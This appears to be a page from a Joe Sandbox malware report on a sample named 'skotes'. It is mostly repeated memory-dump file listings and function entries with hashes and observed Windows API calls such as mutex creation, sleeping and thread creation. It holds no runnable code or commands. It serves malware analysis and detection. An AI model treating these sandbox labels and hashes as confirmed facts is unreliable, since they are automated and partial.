Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 30e7deaa3b3d8a9916402a77e3f8759f073ba141aaee94e32145d269224cc3a4
Instruction ID: a9950a23dcf5d8551ae3a116e51d3f2e7b8d1753d85dbeefa3c93f242a602db3
Opcode Fuzzy Hash: 30e7deaa3b3d8a9916402a77e3f8759f073ba141aaee94e32145d269224cc3a4
Instruction Fuzzy Hash: C6315B71A041049BFB08EBB8DDD977DB762EFC5318F64821AE1159B3D5C7359A808B12

Function 0018A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018A685
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5f2b2ae0af450dc0f6cc71fbc83433ad8bbd1d5bbbd1ab0746e380b3b6ab987e
Instruction ID: 1178d4119f33284d85cb8094bedb633a4520311216e1da870b3b8f93cb17f25e
Opcode Fuzzy Hash: 5f2b2ae0af450dc0f6cc71fbc83433ad8bbd1d5bbbd1ab0746e380b3b6ab987e
Instruction Fuzzy Hash: 82317B71A041049BFF08EB78DDC976DB7B2DFC1314F64821AE1149B2E5C7359A808B52

Function 0018A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0018A7BA
Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c4e86f308d183cb535d19b8553fe05a974e664ef84ba375b95b03a016eee49ae
Instruction ID: 085f688e7d7cfdc6280ac58363b38195e1ef4420f38657353cc80e176cfda390
Opcode Fuzzy Hash: c4e86f308d183cb535d19b8553fe05a974e664ef84ba375b95b03a016eee49ae
Instruction Fuzzy Hash: F9315971A041049BFB08EB7CDDD9B6DB772EFC2314F64821AE1159B2D1D7369A818B22

Function 001B6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f25b02d76631bf19cf4b7cc2beafa3966a0da1ba845fa15a21edf799e3cfe50f
Instruction ID: e22d524040500c00084011f56272aa21e7a135eab361ea29e3a8e116be94a748
Opcode Fuzzy Hash: f25b02d76631bf19cf4b7cc2beafa3966a0da1ba845fa15a21edf799e3cfe50f
Instruction Fuzzy Hash: 2621F5329051087BEF21BB68EC42BEF3729DF62378F200215F9242B1C1DB749E0186A1

Function 0018A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0018A963
CreateMutexA.KERNEL32(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bced716d7b6399e154660a56957fc286cb210b72e99b8aadd7cff0ba6991b587
Instruction ID: f3ba1011e70b6e4a3be6d58bcbb2f2df2c03114506a30c6c6b779fa63c47c713
Opcode Fuzzy Hash: bced716d7b6399e154660a56957fc286cb210b72e99b8aadd7cff0ba6991b587
Instruction Fuzzy Hash: A4E0CD11ADD311A7FE5033E869D9B3E62D48FD5704F612415E725CB4F0C75476804623

Function 00196D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00196D11
Sleep.KERNEL32(00007530), ref: 00196D25

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
